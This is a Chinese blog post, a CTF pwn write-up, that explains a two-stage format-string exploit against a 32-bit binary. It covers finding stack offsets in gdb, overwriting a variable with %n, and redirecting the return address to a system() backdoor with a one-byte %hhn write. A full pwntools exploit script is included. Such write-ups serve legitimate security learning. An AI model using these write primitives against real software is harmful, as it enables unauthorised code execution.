【CTF】某CTF比赛的一道pwn题

CTF · 2021-10-22 · 1204 人浏览

格式化字符串的一道题,整了一整天才弄明白,问了我哦等我哈了大佬和口那是二进制神。来复现一下

这个题目是这样的,看起来是不是很简单,确实,我刚开始学,啥也不是。

第一关

先康康前面七句 :Coolapk84:

这个属于是第一关了,格式化字符串改数值。要利用11行这个把v3改成12。

那么咋改呢,利用格式化字符串漏洞,由于这个题目限制输入比较严格,需要打开gdb来调试,看格式化字符串的偏移。

据二进制神称,我们需要用gdb把点断在call scanf后面一行,这里可以用disassemble vuln来看汇编:

可以看到

   0x08048625 <+79>:    call   0x8048490 <__isoc99_scanf@plt>
   0x0804862a <+84>:    add    esp,0x10

复制2a这个地址,然后b *0x0804862a就可以断在这里了。然后r一下,随便输点什么让他读进去,回车,就断在这里了

然后输入stack 30 看看栈上,你刚刚输入的东西在什么位置

这里可以看到是在第0f个,所以偏移就是0f即15了。可以构造一个%15$n来利用。

然后我们通过这个还可以看到v3的位置,v3是等于666,那么我们hex(666),结果是0x29a,找到这个位置后面要用,第一步可以直接利用任意地址修改来构造。

题目第一个printf给了v3的偏移地址,所以payload1=p32(addr)+b'%8d%15$n'为啥是%8d呢,前面addr占了4字节,所以4+8=12,v3就被改成12了。当然%8c也可以

第一步就结束了。

第二关

第二步,题目是给了一个后门函数的。具体思路就是把vuln函数返回的地址的地址(存的main函数地址)的值(也就是返回地址可能有点绕口但是是这样的)改成后门函数的地址。

我们先断点到第二个scanf后一行。因为第一关没过的话会直接退出程序,那我们需要在脚本里面开gdb调试,大概可以这么写,加上一行gdb.attach

运行python脚本之后,会弹出新的窗口用于gdb调试。c一下就跳到第二个scanf下面了。

然后stack 50

可以看到输入的aaaa,偏移是07。同时也可以看到main函数地址。但是这个地址是偏移过的,但是呢,这个地址离被我们改过的v3(就是那个0xc)的距离是可以算出来的,也就是0xff90fdfc-0xff90fdec=0x10。那这样我们就得到了存返回地址的地址。只要修改他的值为后门函数的地址就行了。

后门函数的地址可以直接在ida看到

但是要注意,需要改到下面system(78D)那个地方,到前面他会直接close。

那么咋改呢,不可能直接改成这么大的数字吧,而且还有输入限制。

可以观察到原本存储的main函数地址是0x804873e,而我们需要修改的后门地址是0x0804878d,只差了一个字节。

所以直接改一个字节就行了(用hhn改)

最后的payload2=p32(addr+0x10)+"%137d%7$hhn 137是0x8D-4得到的,前面已经说过为什么要减4了。

脚本

最后附上完整脚本(脚本里面的fmtstr不行是因为fmtstr构造的超长了)

from pwn import *
context.log_level = 'debug'
context.update(os='linux',arch="i386",timeout=1)
io = process('./format_string')
#io=remote("123.57.230.48",12342)

io.recvuntil("First step:\n")
addr=int(io.recvuntil('\n')[:-1],16)

gdb.attach(io,'b *0x0804867b')
payload=p32(addr)+b'%8d%15$n'
io.sendline(payload)

io.recvuntil("nice you enter there\n")
#payload='aaaa'
payload=p32(addr+0x10)+"%137d%7$hhn"
#payload =fmtstr_payload(7,{addr+0x10:137})
io.sendline(payload)

io.interactive()
如果我有什么地方讲得不对,欢迎各路大佬直接骂我。 :Coolapk84:
CTF PWN
Theme Jasmine by Kent Liao